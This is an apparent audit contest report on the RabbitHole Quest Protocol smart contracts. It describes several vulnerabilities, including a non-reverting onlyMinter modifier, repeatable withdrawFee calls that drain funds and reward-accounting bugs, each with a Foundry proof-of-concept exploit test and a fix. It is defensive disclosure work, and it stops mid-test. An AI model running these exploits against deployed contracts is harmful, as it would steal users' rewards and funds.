RabbitHole Quest Protocol contest - adriro's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50

Vulnerability details

Both RabbitHoleReceipt and RabbitHoleTickets contracts define a mint function that is protected by a onlyMinter modifier:

RabbitHoleReceipt:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104

function mint(address to_, string memory questId_) public onlyMinter {
    _tokenIds.increment();
    uint newTokenID = _tokenIds.current();
    questIdForTokenId[newTokenID] = questId_;
    timestampForTokenId[newTokenID] = block.timestamp;
    _safeMint(to_, newTokenID);
}

RabbitHoleTickets:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L83-L85

function mint(address to_, uint256 id_, uint256 amount_, bytes memory data_) public onlyMinter {
    _mint(to_, id_, amount_, data_);
}

However, in both cases the modifier implementation is flawed as there isn't any check for a require or revert, the comparison will silently return false and let the execution continue:

modifier onlyMinter() {
    msg.sender == minterAddress;
    _;
}

Impact

Any account can mint any number of RabbitHoleReceipt and RabbitHoleTickets tokens.

This represents a critical issue as receipts can be used to claim rewards in quests. An attacker can freely mint receipt tokens for any quest to steal all the rewards from it.

PoC

The following test demonstrates the issue.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }
    
    function test_RabbitHoleReceipt_RabbitHoleTickets_AnyoneCanMint() public {
        address attacker = makeAddr("attacker");

        vm.startPrank(attacker);

        // Anyone can freely mint RabbitHoleReceipt
        string memory questId = "a quest";
        receipt.mint(attacker, questId);
        assertEq(receipt.balanceOf(attacker), 1);

        // Anyone can freely mint RabbitHoleTickets
        uint256 tokenId = 0;
        tickets.mint(attacker, tokenId, 1, "");
        assertEq(tickets.balanceOf(attacker, tokenId), 1);

        vm.stopPrank();
    }
}

Recommendation

The modifier should require that the caller is the minterAddress in order to revert the call in case this condition doesn't hold.

modifier onlyMinter() {
    require(msg.sender == minterAddress);
    _;
}

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

Vulnerability details

The withdrawFee function present in the Erc20Quest contract can be used to withdraw protocol fees after a quest has ended, which are sent to the protocol fee recipient address:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

function withdrawFee() public onlyAdminWithdrawAfterEnd {
    IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
}

This function doesn't provide any kind of protection and can be called multiple times, which will send more tokens than intended to the protocol fee recipient, stealing funds from the contract.

Impact

The withdrawFee function can be called multiples after a quest has ended, potentially stealing funds from other people. The contract may have funds from unclaimed receipts (i.e. users that have completed the quest, redeemed their receipt but haven't claimed their rewards yet) and remaining tokens from participants who didn't complete the quest, which can be claimed back by the owner of the quest.

Note also that the onlyAdminWithdrawAfterEnd modifier, even though it indicates that an "admin" should be allowed to call this function, only validates the quest end time and fails to provide any kind of access control:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76-L79

modifier onlyAdminWithdrawAfterEnd() {
    if (block.timestamp < endTime) revert NoWithdrawDuringClaim();
    _;
}

This means that anyone could call this function, so even if the quest owner or the protocol fee recipient behave correctly, a griefer could potentially call this function right after the quest end time to remove all (or most) of the funds from the contract.

PoC

In the following demonstration, the withdrawFee function is called multiple times by a bad actor to remove all tokens from the quest contract.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }

    function signReceipt(address account, string memory questId)
        internal
        view
        returns (bytes32 hash, bytes memory signature)
    {
        hash = keccak256(abi.encodePacked(account, questId));
        bytes32 message = ECDSA.toEthSignedMessageHash(hash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, message);
        signature = abi.encodePacked(r, s, v);
    }

    function claimReceipt(address account, string memory questId) internal {
        (bytes32 hash, bytes memory signature) = signReceipt(account, questId);
        vm.prank(account);
        factory.mintReceipt(questId, hash, signature);
    }
    
    function test_Erc20Quest_ProtocolFeeWithdrawMultipleTimes() public {
        address alice = makeAddr("alice");
        address attacker = makeAddr("attacker");

        uint256 startTime = block.timestamp + 1 hours;
        uint256 endTime = startTime + 1 hours;
        uint256 totalParticipants = 1;
        uint256 rewardAmountOrTokenId = 1 ether;
        string memory questId = "a quest";

        // create, fund and start quest
        vm.startPrank(deployer);

        Erc20Quest quest = Erc20Quest(
            factory.createQuest(
                address(token),
                endTime,
                startTime,
                totalParticipants,
                rewardAmountOrTokenId,
                "erc20",
                questId
            )
        );

        uint256 rewards = totalParticipants * rewardAmountOrTokenId;
        uint256 fees = (rewards * factory.questFee()) / 10_000;
        deal(address(token), address(quest), rewards + fees);
        quest.start();

        vm.stopPrank();

        // simulate at least one user claims a receipt
        claimReceipt(alice, questId);

        // simulate time elapses until the end of the quest
        vm.warp(endTime);

        // The following can be executed by attacker (griefer) or by the fee recipient
        vm.startPrank(attacker);

        uint256 protocolFee = quest.protocolFee();
        uint256 withdrawCalls = (rewards + fees) / protocolFee;

        for (uint256 i = 0; i < withdrawCalls; i++) {
            quest.withdrawFee();
        }

        // Fee recipient has 100% of the funds
        assertEq(token.balanceOf(protocolFeeRecipient), rewards + fees);
        assertEq(token.balanceOf(address(quest)), 0);

        vm.stopPrank();
    }
}

Recommendation

Add a flag to the contract to indicate if protocol fees have been already withdrawn. Add a check to prevent the function from being called again.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L219-L229 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81-L87

Vulnerability details

After completing a task in the context of a quest, a user receives a signed hash that needs to be redeemed on-chain for a receipt that can later be claimed for a reward.

The receipt is minted in the mintReceipt function present in the QuestFactory contract:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L219-L229

function mintReceipt(string memory questId_, bytes32 hash_, bytes memory signature_) public {
    if (quests[questId_].numberMinted + 1 > quests[questId_].totalParticipants) revert OverMaxAllowedToMint();
    if (quests[questId_].addressMinted[msg.sender] == true) revert AddressAlreadyMinted();
    if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash();
    if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();

    quests[questId_].addressMinted[msg.sender] = true;
    quests[questId_].numberMinted++;
    emit ReceiptMinted(msg.sender, questId_);
    rabbitholeReceiptContract.mint(msg.sender, questId_);
}

This function doesn't check if the quest has ended, and the hash doesn't contain any kind of deadline. A user may receive a signed hash and mint the receipt at any point in time.

The quest owner can withdraw remaining tokens after the quest end time using the withdrawRemainingTokens present in the quests contracts. This is the implementation for Erc20Quest:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81-L87

function withdrawRemainingTokens(address to_) public override onlyOwner {
    super.withdrawRemainingTokens(to_);

    uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
    uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
    IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
}

function receiptRedeemers() public view returns (uint256) {
    return questFactoryContract.getNumberMinted(questId);
}

The function calculates how many receipts have been minted but are pending to be claimed, in order to leave the funds in the contract so the user can still claim those. However, this won't take into account receipts that are still pending to be minted.

Impact

A user can mint the receipt for completing the task after the quest has ended, and in particular, if this is done after the owner of the quest has called withdrawRemainingTokens, then the user won't be able to claim the reward associated with that receipt.

This occurs because the user can mint the receipt after the quest end time, while the owner may have already withdrawn the remaining tokens, which only accounts for previously minted receipts.

Given this scenario, the user won't be able to claim the rewards, the contract won't have the required funds.

PoC

In the following test, Alice mints her receipt after the quest owner has called withdrawRemainingTokens. Her call to quest.claim() will be reverted due to insufficient funds in the contract.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }

    function signReceipt(address account, string memory questId)
        internal
        view
        returns (bytes32 hash, bytes memory signature)
    {
        hash = keccak256(abi.encodePacked(account, questId));
        bytes32 message = ECDSA.toEthSignedMessageHash(hash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, message);
        signature = abi.encodePacked(r, s, v);
    }

    function test_Erc20Quest_UserCantClaimIfLateRedeem() public {
        address alice = makeAddr("alice");

        uint256 startTime = block.timestamp + 1 hours;
        uint256 endTime = startTime + 1 hours;
        uint256 totalParticipants = 1;
        uint256 rewardAmountOrTokenId = 1 ether;
        string memory questId = "a quest";

        // create, fund and start quest
        vm.startPrank(deployer);

        factory.setQuestFee(0);

        Erc20Quest quest = Erc20Quest(
            factory.createQuest(
                address(token),
                endTime,
                startTime,
                totalParticipants,
                rewardAmountOrTokenId,
                "erc20",
                questId
            )
        );

        uint256 rewards = totalParticipants * rewardAmountOrTokenId;
        deal(address(token), address(quest), rewards);
        quest.start();

        vm.stopPrank();

        // Alice has the signature to mint her receipt
        (bytes32 hash, bytes memory signature) = signReceipt(alice, questId);

        // simulate time elapses until the end of the quest
        vm.warp(endTime);

        vm.prank(deployer);
        quest.withdrawRemainingTokens(deployer);

        // Now Alice claims her receipt and tries to claim her reward
        vm.startPrank(alice);

        factory.mintReceipt(questId, hash, signature);

        // The following will fail since there are no more rewards in the contract
        vm.expectRevert();
        quest.claim();

        vm.stopPrank();
    }
}

Recommendation

Since tasks are verified off-chain by the indexer, given the current architecture it is not possible to determine on-chain how many tasks have been completed. In this case the recommendation is to prevent the minting of the receipt after the quest end time. This can be done in the mintReceipt by checking the endTime property which would need to be added to the Quest struct or by including it as a deadline in the signed hash.

Judge has assessed an item in Issue #615 as 2 risk. The relevant finding follows:

Unbounded gas usage in claim function of Quest contract The claim function has an unbounded gas usage that traverses different arrays many times.

The call to RabbitHoleReceipt.getOwnedTokenIdsOfQuest iterates all receipts for the account and then copies the ones for the given quest into a new array Then it iterates this array to calculate how many of them were already claimed. Finally it iterates the array again to mark the token ids as claimed in the _setClaimed function.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L54-L63

Vulnerability details

The withdrawRemainingTokens implementation present in the Erc1155Quest allows the owner of the quest to claim back remaining tokens after the quest end time:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L54-L63

function withdrawRemainingTokens(address to_) public override onlyOwner {
    super.withdrawRemainingTokens(to_);
    IERC1155(rewardToken).safeTransferFrom(
        address(this),
        to_,
        rewardAmountInWeiOrTokenId,
        IERC1155(rewardToken).balanceOf(address(this), rewardAmountInWeiOrTokenId),
        '0x00'
    );
}

The function will transfer all of the rewards tokens present in the contract and does not consider potential receipts that are still pending to be claimed.

Impact

After the owner of the quest calls withdrawRemainingTokens, all unclaimed receipts will be rendered worthless, since the quest contract doesn't have any tokens to be handed as rewards.

If a user with an unclaimed receipt tries to call claim() to redeem their reward, the invocation will be reverted as the contract doesn't have the required tokens, which were previously withdrawn by the owner.

PoC

In the following test, Alice tries to claim her rewards after the owner has called withdrawRemainingTokens, which will fail due to insufficient funds in the contract.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }

    function signReceipt(address account, string memory questId)
        internal
        view
        returns (bytes32 hash, bytes memory signature)
    {
        hash = keccak256(abi.encodePacked(account, questId));
        bytes32 message = ECDSA.toEthSignedMessageHash(hash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, message);
        signature = abi.encodePacked(r, s, v);
    }

    function claimReceipt(address account, string memory questId) internal {
        (bytes32 hash, bytes memory signature) = signReceipt(account, questId);
        vm.prank(account);
        factory.mintReceipt(questId, hash, signature);
    }
    
    function test_Erc1155Quest_UnclaimedReceipts() public {
        address alice = makeAddr("alice");

        uint256 startTime = block.timestamp + 1 hours;
        uint256 endTime = startTime + 1 hours;
        uint256 totalParticipants = 10;
        uint256 tokenId = 0;
        string memory questId = "a quest";

        // create, fund and start quest
        vm.startPrank(deployer);

        Erc1155Quest quest = Erc1155Quest(
            factory.createQuest(
                address(tickets),
                endTime,
                startTime,
                totalParticipants,
                tokenId,
                "erc1155",
                questId
            )
        );

        vm.stopPrank();

        vm.prank(minter);
        tickets.mint(address(quest), tokenId, totalParticipants, "");

        vm.prank(deployer);
        quest.start();

        // Alice claims her receipt
        claimReceipt(alice, questId);

        // simulate time elapses until the end of the quest
        vm.warp(endTime);

        // owner withdraws tokens
        vm.prank(deployer);
        quest.withdrawRemainingTokens(deployer);

        // Alice tries to claim her reward, it will fail since withdrawRemainingTokens doesn't consider unclaimed receipts
        vm.expectRevert();
        vm.prank(alice);
        quest.claim();

        assertEq(tickets.balanceOf(alice, tokenId), 0);
        assertEq(tickets.balanceOf(deployer, tokenId), totalParticipants);
    }
}

Recommendation

Similar to the implementation of Erc20Quest, the contract can query the factory to know how many receipts are still pending to be claimed and withhold those funds in the contract for the users to claim.

contract Erc1155Quest is Quest, ERC1155Holder {
    ...
    QuestFactory public immutable questFactoryContract;
  
    function withdrawRemainingTokens(address to_) public override onlyOwner {
        super.withdrawRemainingTokens(to_);
        uint256 balance = IERC1155(rewardToken).balanceOf(address(this);
        uint256 unclaimed = questFactoryContract.getNumberMinted(questId) - redeemedTokens;
        if (balance > unclaimed) {
          IERC1155(rewardToken).safeTransferFrom(
              address(this),
              to_,
              rewardAmountInWeiOrTokenId,
              balance - unclaimed,
              '0x00'
          );
        }
    }
  
    ...
}

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L172-L174

Vulnerability details

The RabbitHoleReceipt is a ERC721 token that represents a completed task for a specific quest and can be used to claim rewards. This token is minted in the QuestFactory contract using the mintReceipt function and rewards can be claimed using the claim function present in the Erc20Quest and Erc1155Quest contracts.

The QuestFactory contract contains a reference to the RabbitHoleReceipt in the rabbitholeReceiptContract variable. This address is forwarded to the quests contracts in the createQuest function, in line 82 for the Erc20Quest contract and line 115 for the Erc1155Quest contract. These contracts hold an immutable reference to the RabbitHoleReceipt (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L13).

The factory contract contains also a function to update the rabbitholeReceiptContract variable:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L172-L174

function setRabbitHoleReceiptContract(address rabbitholeReceiptContract_) public onlyOwner {
    rabbitholeReceiptContract = RabbitHoleReceipt(rabbitholeReceiptContract_);
}

Now, if the rabbitholeReceiptContract variable is updated in the factory, current ongoing quests will be out of sync with respect to this reference, as these contracts contain an immutable reference to the previous rabbitholeReceiptContract value that was copied when they were created.

Receipt minting will be done using the new contract (mintReceipt in QuestFactory), while claiming will be done using the previous contract (claim in Erc20Quest or Erc1155Quest). Users that complete tasks after the RabbitHoleReceipt contract is updated will be minted the new receipt, which will fail to be claimed in the quest as these two are essentially different contracts.

Impact

After the RabbitHoleReceipt contract is updated in the QuestFactory contract, users that complete tasks for quests that were created before the receipt contract was updated won't be able to claim their rewards.

Given this scenario, users will mint their receipts using the mintReceipt function present in the QuestFactory contract which will use the new updated contract. However, if they attempt to claim their rewards using the claim function in the quest contract, the call will be reverted as the receipt contract here is outdated and their receipt will not be recognized.

PoC

In the following test, the RabbitHoleReceipt contract is updated in the factory after the quest is created. Alice mints her receipt after completing the quest, which fails to be claimed with the NoTokensToClaim() error, as the receipt she has is a different contract than the one the quest is expecting.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }

    function signReceipt(address account, string memory questId)
        internal
        view
        returns (bytes32 hash, bytes memory signature)
    {
        hash = keccak256(abi.encodePacked(account, questId));
        bytes32 message = ECDSA.toEthSignedMessageHash(hash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, message);
        signature = abi.encodePacked(r, s, v);
    }

    function claimReceipt(address account, string memory questId) internal {
        (bytes32 hash, bytes memory signature) = signReceipt(account, questId);
        vm.prank(account);
        factory.mintReceipt(questId, hash, signature);
    }
    
    function test_QuestFactory_ChangeReceipt() public {
        address alice = makeAddr("alice");

        uint256 startTime = block.timestamp + 1 hours;
        uint256 endTime = startTime + 1 hours;
        uint256 totalParticipants = 1;
        uint256 rewardAmountOrTokenId = 1 ether;
        string memory questId = "a quest";

        // create, fund and start quest
        vm.startPrank(deployer);

        factory.setQuestFee(0);

        Erc20Quest quest = Erc20Quest(
            factory.createQuest(
                address(token),
                endTime,
                startTime,
                totalParticipants,
                rewardAmountOrTokenId,
                "erc20",
                questId
            )
        );

        uint256 rewards = totalParticipants * rewardAmountOrTokenId;
        deal(address(token), address(quest), rewards);
        quest.start();

        vm.stopPrank();

        // Assume RabbitHoleReceiptContract is changed in the factory
        vm.startPrank(deployer);

        // deploy a new RabbitHoleReceipt
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            address(factory),
            0
        );

        // update the factory
        factory.setRabbitHoleReceiptContract(address(receipt));

        vm.stopPrank();

        vm.warp(startTime);

        // Claim receipt for Alice, this will use the new Receipt contract
        claimReceipt(alice, questId);

        // Now Alice tries to claim her rewards in the quest, the following will fail since
        // the quest is using the old Receipt contract
        vm.expectRevert(bytes4(keccak256("NoTokensToClaim()")));
        vm.prank(alice);
        quest.claim();

        assertEq(token.balanceOf(alice), 0);
    }
}

Recommendation

The straightforward solution would be to remove the mutation around the RabbitHoleReceipt reference in the QuestFactory contract. The RabbitHoleReceipt contract is upgradeable, which means it can be updated while keeping the same address. This will ensure that both the factory and the quests contract maintain the same reference to the receipt contract.

A bit more complicated solution would be to move the minting (mintReceipt) to the quest contract itself. This way both minting and claiming happens in the quest contract, which will always resolve to the same receipt contract. Note that this will require setting up all quest contracts as minters of the receipt, which could carry other potential risks.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L85

Vulnerability details

After a Erc20Quest has ended, the owner of the quest can withdraw the remaining tokens from the contract by calling the withdrawRemainingTokens function:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81-L87

function withdrawRemainingTokens(address to_) public override onlyOwner {
    super.withdrawRemainingTokens(to_);

    uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
    uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
    IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
}

The calculation is done by fetching the current token balance of the contract and subtracting the protocol fees and the tokens corresponding to unclaimed receipts.

The contract also implements a separate function to withdraw protocol fees called withdrawFee:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

function withdrawFee() public onlyAdminWithdrawAfterEnd {
    IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
}

If the withdrawFee function is called before calling withdrawRemainingTokens, then protocol fees will be accounted twice in the calculation. When withdrawFee is called it will transfer the funds to the protocol fee recipient, which means the balance of the contract will be reduced by that amount. But then withdrawRemainingTokens will use that balance and will also subtract again the protocol fee.

Impact

If the quest has protocol fees (i.e. protocolFee() > 0) and if the withdrawFee function is called before the owner calls withdrawRemainingTokens (assuming not all participants completed the quest), then the owner will receive less tokens than expected.

As discussed in the previous section, the implementation subtracts the protocol fee from the current token balance of the contract. If the fees have already been withdrawn, the token balance already reflects this, and subtracting the fees will result in the owner receiving fewer tokens than expected by the amount of protocolFee().

uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;

Note that there's also the possibility of an arithmetic overflow. If the actual remaining tokens are less than the protocol fee, then the subtraction will cause an overflow due to the unsigned integer arithmetic.

PoC

In the following test, protocol fees are withdrawn before the owner calls withdrawRemainingTokens. The owner of the quest receives less than the expected amount of tokens.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
